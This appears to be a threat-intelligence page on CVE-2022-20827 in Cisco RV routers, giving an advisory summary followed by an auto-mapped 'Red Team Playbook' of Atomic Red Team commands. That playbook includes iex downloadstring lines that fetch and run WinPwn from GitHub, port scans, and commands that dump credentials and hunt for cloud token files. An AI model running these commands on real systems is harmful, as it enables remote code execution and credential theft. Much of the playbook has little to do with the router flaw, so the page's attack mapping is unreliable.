CVE-2022-20827
Overview
The vulnerabilities stem from improper input validation and memory management within the Cisco Small Business RV Series Router firmware, specifically involving buffer overflow and command injection flaws. These issues affect the router's firmware components responsible for processing network commands and system inputs, allowing crafted malicious payloads to be executed without authentication.
Vulnerability Description
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker with network access can exploit these vulnerabilities to execute arbitrary code or cause a denial of service, potentially gaining control over affected devices or disrupting network availability. The attack requires no user interaction and leverages network-level access, as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N), enabling critical confidentiality, integrity, and availability compromises within enterprise environments.
Solution
Cisco has released firmware updates addressing these vulnerabilities in affected RV Series routers. Administrators should apply the patches as outlined in the Cisco Security Advisory (cisco-sa-sb-mult-vuln-CbVp4SUR). The advisory provides specific version numbers and update instructions for RV160, RV260, RV340, and RV345 firmware. No workarounds are specified; timely firmware upgrade is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers are characterized by their potential to allow unauthenticated remote attackers to execute arbitrary code or induce a denial of service (DoS) condition. These flaws stem from improper input validation and insufficient security measures within the firmware of the affected routers. Attackers can exploit these weaknesses by sending specially crafted packets to the device, which can lead to unauthorized access or disruption of service. Given the routers' role in managing network traffic for small businesses, the implications of such vulnerabilities are significant.
Exploitation of these vulnerabilities can occur through various attack vectors. An attacker could initiate a remote attack without requiring any form of authentication, making it particularly dangerous. For instance, an adversary could target the router's management interface or other exposed services, sending malformed requests that the device fails to handle correctly. This could result in arbitrary code execution, allowing the attacker to gain control over the device, manipulate network traffic, or deploy further malicious payloads within the network. Alternatively, a successful DoS attack could render the router inoperable, disrupting business operations and leading to potential financial losses.
The real-world impact of these vulnerabilities is profound, especially for small businesses that rely on these routers for their networking needs. A successful attack could compromise sensitive data, disrupt critical business operations, and damage the organization's reputation. The financial ramifications could include costs associated with recovery, potential regulatory fines, and loss of customer trust. Moreover, the ease of exploitation increases the likelihood of attacks, making it imperative for organizations to prioritize the security of their networking equipment.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating firmware is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns indicative of an ongoing attack, enabling swift incident response. Additionally, employing firewalls and intrusion detection systems can provide an extra layer of defense by filtering out malicious traffic before it reaches the router. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their network infrastructure.
In conclusion, the vulnerabilities affecting the Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers pose a significant threat to small businesses. The potential for remote code execution and denial of service attacks underscores the need for robust security practices. By staying informed about vulnerabilities, applying timely updates, and employing comprehensive detection and mitigation strategies, organizations can better protect themselves against these threats and ensure the integrity of their network environments.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-20827, reflected by a moderate increase in telemetry signals and a corresponding rise in the Exploit Prediction Scoring System (EPSS) score. While no new exploit techniques or proof-of-concept code have surfaced, the upward trend in detection frequency indicates growing interest or opportunistic scanning targeting vulnerable Cisco Small Business RV Series routers. This development is significant for defenders because it suggests an increased likelihood of exploitation attempts in operational environments, raising the urgency for monitoring and response readiness. Although the EPSS remains below critical thresholds and the increase is gradual rather than rapid, the evolving landscape elevates the threat level from a latent to a more active posture, warranting heightened vigilance among network security teams responsible for these devices.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv160 Firmware | All |
cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv160w Firmware | All |
cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260 Firmware | All |
cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260p Firmware | All |
cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260w Firmware | All |
cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv340 Firmware | All |
cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv340w Firmware | All |
cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345 Firmware | All |
cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345p Firmware | All |
cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
45%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20827 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-mult-vuln-CbVp4SUR |